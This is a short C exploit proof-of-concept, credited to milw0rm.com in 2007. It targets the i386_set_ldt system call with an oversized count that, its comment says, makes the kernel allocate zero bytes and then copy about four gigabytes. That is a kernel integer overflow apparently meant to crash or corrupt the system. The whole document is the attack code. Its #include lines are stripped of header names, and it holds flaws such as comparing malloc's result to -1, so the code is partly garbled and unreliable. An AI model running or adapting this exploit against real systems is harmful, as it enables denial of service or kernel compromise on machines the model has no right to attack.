#include #include #include #include #include #include #include int main(void) { union ldt_entry descs; char *buf; u_long pgsz = sysconf(_SC_PAGESIZE); if ((buf = (char *)malloc(pgsz * 4)) == -1) { perror("malloc"); exit(EXIT_FAILURE); } memset(buf, 0x41, pgsz * 4); buf = (char *)(((u_long)buf & ~pgsz) + pgsz); if (mprotect((char *)((u_long)buf + (pgsz * 2)), (size_t)pgsz, PROT_WRITE) == -1) { perror("mprotect"); exit(EXIT_FAILURE); } /* * This will result in kalloc() size argument being 0x00000000 and copyin() * size argument being 0xfffffff8. */ if (i386_set_ldt(1024, (union ldt_entry *)&buf, -1) == -1) { perror("i386_set_ldt"); exit(EXIT_FAILURE); } exit(EXIT_SUCCESS); } // milw0rm.com [2007-11-16] 
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